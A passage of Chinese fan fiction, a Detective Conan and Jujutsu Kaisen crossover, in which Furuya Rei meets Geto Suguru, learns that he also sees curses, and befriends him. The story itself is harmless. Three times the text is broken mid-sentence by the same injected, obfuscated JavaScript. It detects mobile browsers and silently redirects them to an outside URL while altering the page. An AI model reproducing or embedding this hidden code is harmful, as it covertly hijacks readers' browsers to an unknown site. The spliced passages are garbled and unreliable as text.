闹钟就在床头柜上,只要一伸手就能够到,但被子里的降谷零却一点儿都不想动。 他感觉眼皮格外得沉,神志也像是被困在泥沼中,只能徒劳地随着闹铃声反复起伏,却始终挣脱不开。 “滴滴滴——” 渐进式闹钟的声音逐渐大了起来,降谷零拉起被子盖住自己的头,试图隔离噪音,但扰人的声音依旧丝丝缕缕地钻进他的被窝。 “吵死了……” 降谷零又用双手捂住耳朵,想要逃避。 但闹钟仍不善罢甘休,甚至嗓门越来越大。 “滴滴滴——” “滴滴滴——” “滴滴滴——!” “啊——停!” 终于,床上的团子受不了了,猛地掀开被子,一把拍到闹钟按键上。 屋内瞬间安静下来,被吵得脑袋嗡嗡作响的降谷零松了口气,卸力趴倒,枕着床沿,半个肩膀都悬在外面。 “好困……明明昨天只晚睡了两个小时而已……” 因为之前提到的身高问题,习惯晚睡的降谷零破天荒地给自己定好了早早睡觉的时间——有助长高版。 原本他一直都在坚持,但因为昨天复盘后感觉时间紧任务重,他就稍微调整了一下作息表,没想到后遗症居然这么大。 降谷零拍了拍额头,清醒的程度却仍旧有限,他不禁嘀咕:难不成这就是“小孩子觉多”吗,缺一点儿都要补回来的那种? 忍了忍,降谷零还是没忍住打了个哈欠,他闭着眼将头埋进枕头里,蹭掉生理泪水。 枕巾上残留着洗衣液的味道,嗅起来柔软轻松,一闻就感觉很好睡—— 降谷零:…… 降谷零彻底放弃了。 算了,满脑子都是睡觉,都这样了,还是补觉吧,不然太影响效率了。 于是降谷零就这样直接睡去,然后一口气睡到自然醒。 醒来一看时间,马上快到十一点了。 降谷零:? 早晨都快要直接错过了!浪费!这是对时间的浪费! 他发誓,他再也不晚睡了,这也太耽误时间了吧!完全得不偿失! 降谷零立刻爬起来洗漱吃饭,然后迅速出门,直奔书店。 昨天降谷零理了理接下来要做的事情,发现留在小学上课有点浪费时间,所以他打算研究一下能不能申请在家自学,然后只去学校考试。 实在不行就跳级,直接跳到高中结束,然后就有大把的自由时间。 或者休学也行——当然,这是下下策。 总之,不论怎样,降谷零需要一些后续年级的教辅书。 降谷零垂眸,一边在心里盘点着需要的书籍种类,一边推开书店的大门,然后一抬头,就看见了超大幅的漫画宣传画报,降谷零的脚步顿了顿。 《星渊馈赠》? 这个好像是之前夏油杰看的漫画? 啊……对了,夏油杰! 降谷零一拍脑袋,他就说自己好像忘记什么事情了,原来是把“验证夏油杰是不是术士”这件事情给忘记了。 之前说要用蝇头测试夏油杰能不能看见咒灵,所以要先抓一只蝇头。 降谷零有些遗憾,要是昨天晚上他想起来这件事,就能问一下风使捕捉咒灵的方法…… 呃,还是算了吧,风使看上去有点过于操心了,为了避免更多的麻烦——比如被风使抓住唠叨,降谷零立刻放弃这个想法。 没关系,只是一只蝇头而已,一开始他对咒术界一无所知的时候都能躲掉蝇头的袭击,甚至可能直接解决掉了,那现在抓一只自然也不在话下。 刚这样想完,降谷零就回忆起了蝇头的速度,他顿了顿,默默多补充一个词:大概。 把抓捕蝇头安排进今天的日程表,降谷零开始按照索引转书架,挨个筛选教辅资料。 他的速度很快,转了两圈就将所有准备买的书的名字和版号记下了,然后在检查后,他又添加了数套卷子,用于巩固练习。 “这些应该暂时够了。” 降谷零拿着清单准备去前台结账,转过书架时再次路过漫画宣传,他的脚步顿住。 海报是漫画最新一期的封面,画风华丽繁复,颜色明亮,还有引人注目的撞色大字。 降谷零定定看了一眼,然后收起清单,折回去从展示架上拿下一本漫画,翻看起来。 “……” 十几分钟后,快速翻看了几期漫画的降谷零发出了不理解的声音: 这是什么漫画?为什么会有小学生看这个啊! 总的来说,《星渊馈赠》的背景是这样的:有一天宇宙外的星尘降落在地球上,使人类有了觉醒特殊能力的可能性,人类本以为得到了上天馈赠,却没想到觉醒能力也代表会开始无法逆转的异化,同时世界各地也陆续出现来路不明的怪物,天堂和地狱不过一步之间。 怪物会猎杀非能力者,能力者是对抗怪物的特攻力量,非能力者畏惧厌恶会异化的能力者,再加上只看得见利益的政客,只醉心于生物研究的学者,只关注己方势力发展的各大组织……各方的冲突展露苗头,人命不再是人命,人性的扭曲至此彻底走向不可挽回的深渊。 降谷零:…… 一开始他看到名字和封面就感觉这部漫画不是那么子供向,但他也没想到会这么“不子供向”。 降谷零心里不住地嘀咕:所以到底为什么啊?怎么会有小学生看这种漫画啊?他真的不明白,他依稀记得少年侦探团的孩子们都是看假面超人的啊? 降谷零不理解,但尊重。 降谷零合上漫画,将自己抽出来的书全部放回去,然后拿着之前写下的书单去前台找工作人员。 “嚯。”一个不知道是老板还是店员的男人看见近十厘米长的纸条,惊讶地来回看降谷零和自己手里的东西,“小朋友,你确定这些都要?” 他从一开始就注意到降谷零了,无他,这个孩子的外貌太明显了。 但男人也只是出于好奇多看了一眼,因为早年间,他们这附近也有外国来的资本家开公司,所以外国长相的人在这里虽然少见,但他也不是从未见过,顶多会觉得这孩子不是白种人,有点稀奇罢了。 总之,男人只在降谷零进门时扫了一眼,然后就忙于工作了,等后来休息间隙再看,发现这个小孩在看漫画,他就更不关注了,反正就是哪里新搬来的外国人的孩子吧? 不过他也不是完全没有任何想法,只是他的想法是——听说外国人都很有钱,希望这小孩能给他冲冲业绩。 没想到业绩是冲了,就是冲的方向不太对。 怎么会是教辅书,而不是漫画书?这外国小孩刚刚不是在看漫画吗?谁家小孩自己来买教辅书,而且年级明显不对吧!真的不是在涮他吗? 降谷零礼貌地笑笑,递出钱:“嗯,这些都要,麻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17178214|194768||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烦您了。还有,因为东西有点多,我可能需要送货上门。” 男人见状就知道这小孩是认真的,算了,反正不关他的事情,他有钱赚就行。 男人拿过纸币搓了一下,嗯,是真的,那就行。 然后他把钱放到旁边,伸手捞过一本厚厚的笔记本,翻开到最新一页,捡起笔:“行,那什么时候送?” 降谷零算了算时间:“下午吧,五点之后都可以。”那时候他差不多就闲在家里了。 男人点头:“好,再留个电话吧。” 降谷零将自己的号码报出去,等对方记下后,接过男人给他找回的零钱,推门离开。 将书单收好的男人看着降谷零离开的背影,不禁感叹:“这种学习量还真可怕啊。” “啊,话说,这不会是对方练习日文的特殊技巧吧?” “也不对,他日语好像很不错?” 男人的嘀嘀咕咕没有引起任何波澜,被他议论的正主此刻正站在路边犹豫接下来的行程:是去超市买东西,把东西放下后再出门一趟,还是直接现在就去找蝇头? 降谷零摸了摸背包,这是他专门用来买东西的包,绝对结实耐用。 但再结实耐用,也不能同时装东西和咒灵——就算能,他也接受不了。 所以,要不要让它转职呢? 唔……随缘吧,蝇头虽然是号称“最常见”的咒灵,但也不是想抓就能抓的。 就好比现在,降谷零在路上看见了不止一只蝇头,但每一只都没办抓,因为它们不是趴在路人的肩膀上,就是挤在人群间,让降谷零无从下手,只能遗憾地看着它们离开。 其实降谷零更想直接消灭它们的,也算是日行一善。 但没办法,他现在对咒力的掌控并不精确,哪怕可以远程攻击,他也不敢随便动手,生怕自己一个不小心把人给伤着了。 不过,如果跟着人的蝇头不好抓,那是不是要去找一只落单的呢? 降谷零想起上一次见到蝇头的地方,那时候他也是准备去超市买东西,然后在门口看见了路过的蝇头。 超市是人流量大的地方,是蝇头最可能诞生的地方之一,只要在客流量的低峰期去,就应该可以找到一只方便抓的。 降谷零托着下巴思索片刻,越想越觉得可行,恰好这个时间点已经过了超市早晨客流量的高峰期,他现在去应该能赶个正好。 购物和抓捕这两项任务合并成了一个目标地点,降谷零也不用纠结选哪个了,他加快脚步往超市走,但也不忘时刻注意周围,看有没有哪一只蝇头落单了。 然后在他抄近路转过第二个小巷时,一道黄色的闪光不知从哪里突然蹿出,直袭他的面门。 降谷零:!!! 降谷零的身体比脑子快,迅速侧身避开,险险与黄色闪光擦身而过,而就在两方交错时,降谷零看清了这个不明物体是什么——蝇头! 是落单的蝇头! 反应过来的降谷零立刻回头去找蝇头离开的方向,视线锁定到对方后,跟着它的飞行轨迹在身后环绕一圈后又落回前方。 不远处就是拐角,蝇头在十字交叉口抖着翅膀上下闪烁,左右瞬移,降谷零生怕一个不留神就让送上门的咒灵跑了,眼睛死死盯着它,头随着蝇头的动作上下左右地动。 在蝇头再度飞低的瞬间,降谷零看好时机,一个跃步,双手精准地掐住蝇头。 因为惯性,他又向前踉跄几步才停稳,然后他立马低头去看手里的东西,结果—— 30.第 30 章 手上空空如也! 蝇头!没!了! 降谷零瞪大眼睛,不可置信地看着自己的双手,他明明抓住了啊!总不会直接被他给捏死了吧? 不信邪的降谷零四下巡视,想要寻找蝇头逃逸的证据,却只得到了自己似乎、大概、可能真的不小心把蝇头弄死了的结果。 降谷零:…… 原来低级咒灵这么脆弱的吗?那他之前给石田加奈子拔除咒灵的时候那么用力算什么? 降谷零有点无奈地转回头,视线不经意扫过后侧方的巷子。 嗯? 等等,他刚刚看见了谁? 降谷零一个迅猛的大回头,等看清那边的人是谁后,露出了和对方同样呆滞的表情。 夏!油!杰! 等等等等,不对吧!夏油杰怎么会在这里?! 他什么时候来的?自己为什么没发现!难道是刚刚抓蝇头太专注了? 降谷零的大脑卡壳一瞬,又很有专业素养的快速调整好表情,他语气惊喜:“夏油同学!你怎么在这里?好巧!” 夏油杰大张着嘴,开开合合,指着降谷零的指尖微微颤抖:“你、你也能看见!” 他冲过来,双手死死抓住降谷零的胳膊:“你也能看见,对不对!我看到了!你抓住它了!目标明确的那种!你能看见!” 降谷零眨眨眼,哦豁,这样看来,夏油杰果然能看见咒灵,是咒术师? 他看着眼里明显藏着忐忑和期待的夏油杰,确认道:“所以,夏油同学也能看见?” “对!我能看见!”夏油杰的眼睛瞬间亮起,“你果然也能看见!” 他极其开心地拉着降谷零蹦蹦跳跳:“太好了!我不是一个人了!” “我就说这个世界上有怪物!我从没有骗过人!只是他们都看不见的而已!” 夏油杰兴奋地挥舞着拳头:“以前我告诉其他人,他们都不信,就连我爸爸妈妈也不信,还说我是动画片看多了,我才没有!我只看漫画的!” 降谷零愣了一下,问:“你能看见这个东西的事情,和很多人说起过吗?” “和爸爸妈妈说过,还和一些同龄人说过,但是他们都不相信我,所以我后来都不说了。”夏油杰耸肩,“这是很早以前的事情了。” 降谷零嘴唇动了动,但没说出话来,他没想到自己之前的推测居然成真了,那夏油杰果然经历了…… “夏油同学,你……”降谷零有点不知道怎么安慰。 “嗯?”夏油杰疑惑地歪头,黑色的眸子里没有一丝阴霾。 降谷零有些怔住,到嘴边的话转了个弯:“夏油同学,你怎么看这件事?就是你能看见,但周围的人都看不见这件事。” “怎么看?”夏油杰皱眉,“唔……能看见这种看不见的怪物,就代表我有超能力,而其他人看不见,就说明他们没有,所以我要保护他们?” 说到这个,他又激动起来,手舞足蹈地炫耀:“说到这个,你知道吗,我消灭过这种怪物!就像白鸽打怪物一样!我是英雄!” 夏油杰还晃了晃降谷零的胳膊:“你刚刚在抓那个怪物,也是和我一样也是在守护城市吧?你也是英雄!” 比起英雄不英雄,降谷零更在意夏油杰也拔除过咒灵这件事:“夏油同学也消灭过咒灵——我是说,那个怪物——你也消灭过那个怪物吗?是主动消灭的?” 夏油杰点头:“是啊。” 顿了顿,他挠挠头补充:“呃……其实我一开始不知道自己能打这些怪物,只会躲避。后来有一次跑到死路了,就眼一闭心一横打了过去,没想到把怪物打死了。” “后来我就会主动消灭怪物。”夏油杰还给降谷零表演了一下,“像这样,歘的一下,它就消失了!从学校到家这一块儿都是我在守护哦!” 降谷零这下是真的惊讶了,“野生咒术师虽然很少,但不是没有”就算了,离他这么近就有一个年龄这么小的也算了,但按风使的资料,这个年纪觉醒的咒术师不是只有本能反应,不会控制能力吗? 降谷零自己不算,毕竟他内核是个成年人,还有世界意识给开的外挂,但他没想到夏油杰居然可以使用能力?他能消灭咒灵,至少能用咒力了吧?有些厉害过头了吧,其实被世界意识开挂的是夏油杰才对—— 等等! “夏油同学,你刚刚说什么?‘从学校到家这一块儿都是你在守护’?” 夏油杰不明所以地点头:“是啊。我每天都会在学校和上下学的路上巡逻,消灭怪物,周末还会扩大范围巡逻。我刚刚就是追着那只怪物过来的,没想到遇见了你。” 降谷零:…… 降谷零:“夏油同学,冒昧问一句,你住在哪里?” 夏油杰:“我吗?我住在二丁目一番五号,就是独栋那边。” 降谷零:…… 这不是巧了么,他也住二丁目,只是在公寓那边,两个地方走路不过十几分钟。 好好好。 他就说学校和家周围怎么会那么干净,搞半天全是夏油杰干的!亏他之前还以为是世界意识为了保护他做的呢!为此他还内疚了一下自己想要算计世界意识的想法,结果…… 把他的愧疚还回来啊! 降谷零都无语笑了。 “你在笑什么?”夏油杰不解地问。 降谷零随口胡扯:“我在笑好巧,因为我也住二丁目,公寓那边。” “诶?!”夏油杰睁大眼睛,“这么巧?但我都没见过你诶?” 降谷零:“大概是你一直在忙吧。而且我其实才搬过来没多久,我们没碰上面很正常。” 夏油杰点头:“也是,我确实一直在忙着巡逻。” 他又道:“说起来,以前我一直以为只有我一个人有超能力,没想到还能碰见第二个!那我们是不是就可以建立一个英雄组织了?以后我们就可以一起保护世界了!” “你刚刚抓怪物,就代表你也在默默做无声的守护者,所以你应该愿意的吧?” 夏油杰看着降谷零,眼睛里闪着小星星。 降谷零沉默一瞬,也不好说自己对保护这里的人没兴趣,连已经预定的拯救世界的任务都是赶鸭子上架,刚刚抓蝇头也纯粹是想要做实验,只是意外遇见实验对象。 但看着夏油杰一副“你肯定不会拒绝我”的样子,降谷零对这个颇有好感的小孩没办法硬下心来,于是用力点头:“嗯……没错!不能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17183980|194768||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放任怪物在城市肆虐!” 听见降谷零说这话,夏油杰的眼睛更亮了:“这个是《星渊馈赠》的台词吧?还是最新一期的!你也看这个漫画?!” “啊?” 降谷零懵了,这个是那部漫画的台词? 是、是吗? 他回忆了一下,发现好像还真是,大概是刚刚看完没多久,潜意识里记下了吧? 降谷零又肯定道:“啊……是的,没错!其实我刚刚才从书店了出来。” 肉眼可见的,夏油杰更兴奋了,比知道降谷零也能看见咒灵时更兴奋:“这个漫画算是小众的,我周围都没人看,没想到你也看!” 他滔滔不绝道:“我最喜欢白鸽了!其实特殊部队和星海组织我都挺喜欢的,他们都很酷。只是我更喜欢白鸽,因为他是最无私奉献的!‘我有能力,所以我想要帮助所有人’,我好喜欢他说的这句话,这太符合英雄的特征了!我就要成为这样的英雄!” 降谷零心下好笑,夏油杰果然还是小孩子呢,提到喜欢的东西,哪怕再板正也会变得生动起来。 他只看了最新几集,没看到有这句台词,这大概是之前的内容,不过不知道也不影响他接话。 降谷零流畅地跟上他的节奏:“这句话确实很经典呢。好巧,我也是觉得白鸽的格局很大,所以很喜欢他。” “原来你也喜欢白鸽!”夏油杰开心地跳了跳,“这下我们又有一个共同点了!” 夏油杰激动得脸颊泛红,他终于找到喜欢这部漫画的同龄人了!尤其是还喜欢同一个角色的人!最重要的是,降谷零还是一样能看到怪物的同伴! “这样的话,我们以后不仅可以一起保护城市,还可以一起追漫画连载!太好了!” “对了,我之前只巡逻完一半,剩下的我们一起去吧!” 见夏油杰一副现在就要拉着他开干的样子,降谷零不得不拽住人:“等等,夏油同学,那个……我们就这样直接去吗?” 夏油杰:“不然呢?” 他理直气壮到让降谷零哽了一下:“……我姑且再问一下,你之前是怎么……嗯……怎么对付那些怪物的?” 夏油杰:“就是和之前说的那样啊。” “看见了,追上去,然后用拳头消灭。”说着,他还做了一个出拳的动作,自豪道,“为了更好地对付它们,我还专门练习了格斗呢。” 降谷零不死心地追问一句:“看见就直接动手吗?” 夏油杰:“对啊。” 降谷零:…… 悬着的心终于死了。 情商告诉降谷零,这时候他该夸奖夏油杰了。 但理智告诉降谷零,他这时候该做的事是教育夏油杰。 ——夏油杰既然真的是咒术师,那他之前追着“鬼”的传说跑,其实就是在追着咒灵跑!再加上他这种不管三七二一,上去就和咒灵对线的作风…… 这小孩! 简直是无知者无畏!蝇头就算了,如果碰见的是其他高级咒灵…… 怪不得野生咒术师稀少呢,缺乏基础性知识真是要命! 事已至此,降谷零只觉得普及咒术界知识势在必行,而且是现在、立刻、马上! 31.第 31 章 降谷零之前还打算,如果夏油杰是咒术师,他就只偶尔关照一下就好,最多再共享一下咒术界的相关知识,但现在…… 他觉得自己还是把人放在眼皮子底吧,总之不能放任夏油杰自己野蛮生长,不然不知道会出什么意外。 “我们……嗯……应该不用那么着急。”降谷零斟酌着用词,“或许你想知道关于这些怪物的来历?” 夏油杰愣了一下:“来历?你知道它们的来历吗?” “稍微知道一点。” 降谷零指了指商业街那边的甜品店:“这件事一时半会儿说不清,不如我们去那边的店里坐下说吧?我请客,就当是庆祝我们两个都找到同伴了。” 夏油杰本想拒绝,怎么能第一次就让对方请客呢?至少也得是各付各的吧?但他今天出门确实没带钱,也确实想听降谷零讲那些怪物的来历。 降谷零已经基本摸清夏油杰的性格了,一看就知道他在纠结什么,主动说:“这次我请客,下次你请客。” 夏油杰瞬间就能接受了:“那好吧,一言为定。”他跟着降谷零往甜品店走。 降谷零在甜品店的角落找了个避人耳目的位置,然后开始给夏油杰上降谷警官的咒术知识小课堂。 他从咒力讲到咒术,再讲到领域,接着又从咒灵诞生的原因讲到拔除咒灵的多种方法,再讲到咒术界的历史。 为了方便小学生的理解,降谷零把晦涩难懂的部分全部重编,用各种比喻和故事替代,夏油杰听得津津有味。 在“课程”结束后,夏油杰不禁赞叹:“太有趣了,原来是这样啊。” 降谷零:? “夏油同学,比起‘有趣’,难道不是该说‘危险’吗?” “嗯?”夏油杰歪头,“危险?是说那些怪——不对,是咒灵,是说那些咒灵危险吗?但我觉得,那些咒灵都很弱啊。” 降谷零试图纠正夏油杰对危险的等级认知:“……有没有一种可能,你觉得咒灵弱,是因为你之前只遇见过蝇头,而蝇头是无等级的咒灵?” “唔……你说得有道理……” 降谷零松了一口气,还好还好,小朋友听得进去话,不倔。 谁成想,夏油杰后面还有话:“但无等级多了也很强啊?就像1很少,但只要一直和1相加,就变多了。所以无等级加起来也很厉害吧?我打过不止一只蝇头,我感觉它们就算全加起来也不是我的对手呢,怎么看都是我更强吧?” “噗——咳咳!咳!”降谷零刚喝了半口的柠檬茶呛在嗓子里,他手忙脚乱地抽了一张纸擦了擦嘴。 夏油杰吓了一跳,急忙帮降谷零拍背:“真是的,你也太不小心了吧,喝东西不能着急,呛到会很危险的。” 猛猛咳嗽的降谷零:……怪谁啊! 降谷零掩着唇冲他摆摆手:“没、没事……是意外。” 努力压下咳嗽,降谷零又灌了一口柠檬茶,然后看向夏油杰:“……夏油同学,你为什么会觉得咒灵的实力是用加法来算的?” 夏油杰理所当然道:“嗯?不是加法还能是什么?” 降谷零被哽住,他张了张嘴,想要解释不是这样的,但看着夏油杰那张稚嫩的脸,他又不知道该如何说起。 降谷零试图挣扎:“不,其实这更像是……更像是大人和小孩子之间的力气差距……你可以轻松打败和我们一样,或者比我们小的小孩子,但你打不过一个大人,我这样说你能理解吗?” 夏油杰沉思片刻,就在降谷零以为他听懂时,夏油杰再度开口:“我们可以制定计划啊?比如一个人吸引注意力,另一个人去趁机攻击,这样。” 降谷零:…… 真是够了,这完全不是一码事啊!该死的小学生逻辑,根本说不通! 降谷零放弃了,沉默地叉了一块蛋糕用力塞进嘴里。 夏油杰戳了戳他的胳膊:“怎么了,有哪里不对吗?” 降谷零:哪里都不对好不好! 降谷零从未如此词穷过,他心累地抓了抓头发,开启转移话题大法:“没有不对的,我只是在想我们要怎么分工。” “你之前不是说我们两个可以成立组合吗,那组合里面肯定要分工吧?不如由我来负责收集情报这类的后勤工作吧?”然后保准把你栓得死死的,绝不给你任何超规格的咒灵情报的! 不知道降谷零真实意图的夏油杰,立刻就顺着他的思路走了:“有道理,分工合作才能更快速地做事情,那我就当主要战力!” 他拍了拍降谷零的肩膀:“你放心,尽管交给我好了,我一定会保护好你的!” 降谷零笑眯眯地点头:“嗯嗯,我相信夏油同学!” 见降谷零答应,夏油杰又提起之前的邀请:“好,那我们现在一起去巡逻吧!” “诶?现在?不如晚点吧?”降谷零有点为难,“现在时间不早了,我要赶在午饭前去超市买食材。” “咦?”夏油杰看了看表,“啊,居然这个点了,我也要准备回家吃饭了。” 他看向降谷零:“那我们吃完饭再出来?” 降谷零点头,拿出手机,打开通讯录:“好,那我们交换一下联系方式吧?” “哇,这是你自己的?”夏油杰羡慕地看着他的手机,“我也好想要一个自己的手机,可惜我家里人说我太小了,等以后再说。” 对正常的小学生来说,他们确实没什么有手机的必要,不过降谷零很能理解小孩子对成年人世界的向往,尤其是夏油杰这种会刻意伪装出成熟的样子、模仿成年人的孩子。 他宽慰夏油杰:“大部分同学都不会有吧?我是情况比较特殊,没办法才给我办的。” 想了想,降谷零又加了一句:“你如果想用手机,我的可以借给你。”反正他已经习惯配备两个手机了,普通机给别人借用一下也不会有什么问题。 “谢谢,但没关系,我爸爸准备换手机了,他已经答应我了,只要这个学期也能保持好成绩,就把他的旧手机给我。”夏油杰情不自禁地晃了晃头,“我很快就也会有手机了,到时候我们就可以随时联络了。” “现在就先打座机吧。”说着,夏油杰报出号码,“这是我家的座机号码。” 降谷零把号码录入,又见夏油杰从口袋里掏出来一个随身笔记本,推给他:“你写一下你的手机号。” 随身携带纸笔的作法让降谷零想起自己的警察同僚们,他再次感慨:夏油杰怎么就不是自己那边的孩子呢? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17188426|194768||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 降谷零一边遗憾,一边写下自己的号码,复查确定无误后,他把本子还给夏油杰:“那我们回头见?” 夏油杰摇头,指了指他的背包:“我也不是那么着急回家,我陪你一起去买东西吧。” 夏油杰的行动力一向很强,也不给降谷零拒绝的机会,拉着他就往外面跑。路上他还给降谷零介绍了各种所谓的“挑菜万能大法”,说得七零八碎,一听就是从家长那里听来、每个都只记了一点,不过这种水平在小学生中也算是少见了。 两人一路聊到超市,又一路聊回家。 降谷零是个很好的聊天对象,夏油杰抛出的任何话题他都接上,而且每次的回复都能戳中夏油杰的好球区,夏油杰越和他聊天,就对他的好感越高,甚至开始后悔上次一起躲避保安后分别得太快。 他该早早和降谷零交朋友的,夏油杰想,他们太合拍了,无论是从哪个方面,如果早早…… “……夏……” “……同学……” “……夏油同学!” “啊!在!什么?”夏油杰被吓得抖了一下,瞬间回过神来。 “抱歉,吓到你了,因为你完全没反应,我只好大声喊你了。” 降谷零指了指路口:“独栋在那边,我们该分开走了。” 夏油杰愣了一下,他先看了看自己现在站的方向,又看了看顺着降谷零指的方向,这才后知后觉地意识到自己不小心跟着降谷零走错方向了。 夏油杰的耳朵立马红了,绯色迅速蔓延到脸颊上,他尴尬地揪住裤缝:“那个、呃,我刚刚、呃、在想……呃……” 他“呃”了半天,疯狂转动大脑,终于憋出一句勉强像样的解释:“我刚刚在想我们两个成立组织的事情!对!没错!就是在想这件事情,想得太专注了,所以没听到你喊我……” 降谷零失笑,也不戳破这漏洞百出的借口,作出恍然大悟的样子:“原来是这样,夏油同学真值得信赖!” “也、也没有……”撒谎却得到了夸赞,夏油杰的脸更烧了,他恨不得立刻消失在原地,“那什么,那我们就各自回家吧!” “好,那夏油同学再见。” “嗯嗯,再见!”夏油杰胡乱应了一句,转身就跑。 见状,降谷零也准备回家。 但他刚转身没一秒,身后就再次传来夏油杰的声音。 “那个……” 降谷零回头,看见夏油杰站在几步开外,又抓头发又摸后颈,视线乱飘,就是不看他。 降谷零:? 他等了几秒,也没等到下文,便主动问:“夏油同学是还有什么事情忘记说了吗?” “我……”夏油杰努力和他对视,支支吾吾,“我就是想问……” “我们……算是朋友了吧?那、以后能不能,互相直接叫名字?” 黑色短发的小男孩眼神期待:“就是,朋友不是都会互相叫昵称吗?以后你叫我杰,我叫你零。” 降谷零彻底愣住。 微凉的春风撩散了他的刘海,发丝侵扰视线,让对面的人影变得不甚清晰,恍惚间与那年盛夏的约定重合—— 「那以后你叫我hiro,我叫你zero吧!」 32.第 32 章 夏油杰还在磕磕绊绊地解释:“那个、我想着,既然我们都是能看见咒灵,又都能消灭它们,还打算一起建立组合当英雄,那我们……就是独一无二的同伴吧?然后……都是独一无二的同伴了,也就是朋友了吧?那应该可以交换称呼了吧?” “零(れい)?”他试探地喊了一声。 Rei? 降谷零骤然回神,眨了眨眼,看见了忐忑的夏油杰。 啊,是Rei啊。 降谷零垂首随便理了理刘海,然后抬头扬起灿烂的笑容:“当然可以交换称呼啦,那以后我就叫你杰,然后你叫我零吧!” 夏油杰惊喜地睁大眼睛,露出一个有点傻气的笑容:“太好了!” 得到回应,他心满意足地挥挥手:“零,那我就先回去了,你路上小心,晚点见!” 降谷零也挥手:“我知道了,回头见!” 见人消失在路口,降谷零才收回视线,笑容淡去。 他眯眼看向天空,定定看了片刻不论在哪个世界都长得一样的太阳,然后转身回家。 …… 另一边,夏油宅。 “我回来啦!” 一声大喊伴随着关门声冲进屋内,扎着低丸子头的女性正从厨房往出来走,手里端着餐盘,听见动静,她惊讶地看过去:“杰?” “嗯嗯,妈妈,今天我们吃什么?”夏油杰扒在桌边,伸长脖子去看,“啊,是我之前想吃的排骨!” 夏油晴子的视线滑过他高高翘起的嘴角,柔声道:“是呢,特意给杰做了喜欢的饭,快点去洗手吧。” “好!”夏油杰噔噔噔跑走。 另一个一直坐在沙发上看报纸的男人站起来,从客厅走过来,看向卫生间的方向,低声问:“他今天好像格外高兴?” 夏油晴子也倍感稀奇:“对,很久没有见他这样开心了。你说他是什么情况?早晨出门的时候还和以前一样吧?” 夏油正人摇头:“我们等下问问?” 夏油晴子尚未来得及回话,夏油杰就已经从卫生间跑回来:“我来帮忙摆餐具!”说着,他又像小陀螺一样转去厨房。 夫妻两人对视一眼,达成默契的决定。 于是等夏油杰安分坐下吃饭时,夏油正人率先开口:“杰今天遇见了什么好事情吗?从进门起就一直很高兴。” “因为我交到朋友了!独一无二的那种哦。”提起这件事,夏油杰脸上的笑容就止不住,“我们已经约定互相叫名字了!” 听见这话,夏油正人下意识看向与孩子相处更久的夏油晴子,却在对方的眼睛里看见了同款的震惊。 两人会有这种反应是因为不知从什么时候起,夏油杰不再和同龄的小朋友一起玩,就算是出门,也总是一个人来来去去。 夏油夫妇担心自家儿子是被孤立了,但在他们小心翼翼地询问时,夏油杰却说他和那些普通小孩不是一路人,并扬言他有他的使命,他很忙的,平时看护那些幼稚鬼一二就够了。 夏油夫妇:…… 这孩子的中二期是不是来得有点早? 放不下心的夏油夫妇不再谈论这件事情,而是暗中观察夏油杰说的“使命”是什么。 但观察来观察去也没发现什么值得注意的事情,他们只看出自家儿子喜欢每天到处闲逛,并煞有其事地将其称为“巡逻”。 夏油夫妇:…… 怪不得和别人玩不到一块儿去呢。 也行,没关系,只是爱好独特一点儿罢了,不是被孤立后嘴硬说没事就好。 但说是这么说,夏油夫妇还是很害怕小孩子没有同龄玩伴导致心理健康出问题,所以他们时不时就会见缝插针地建议夏油杰找个朋友,哪怕只是偶尔一起玩也好。 但夏油杰直接拒绝了,甚至说自己是成熟的人了,一个人也很好,不需要朋友陪,还让他们不要再操心这件事,也不要再提了。 夏油夫妇:…… 他们不敢再多言,只在私底下假装模拟怎么招待孩子未来可能领回来的朋友,并期待这个预演真的有能用上的一天。 结果没想到这一天来得这么快?搞半天杰是想要一个独一无二的朋友吗?看不出来自家儿子对朋友的占有欲这么强? 见夏油杰低头吃饭,不会注意到他们,夏油正人看着妻子,冲儿子偏了偏头示意,无声询问:什么情况? 夏油晴子微微摇头:没听他提起过。 夏油正人蹙眉又舒展,笑着问夏油杰:“是吗?那很好啊,对方是什么样的人?” 夏油杰咽下嘴里的食物,道:“他叫降谷零,是个混血儿,金色头发深色皮肤。他刚转过来没多久,就在我们班隔壁的那个班。” 夏油晴子好奇地问:“混血儿吗?真少见。不过如果是隔壁班的孩子,那杰和他是怎么认识的?在走廊里吗?” 夏油杰又夹了一筷子菜到碗里:“没有,是在放学路上。他被欺负了,我帮他解围了。” 夏油正人鼓掌:“真棒啊,杰做得真不错!那你们就是这样熟悉起来的吗?” “没有,我们是……” 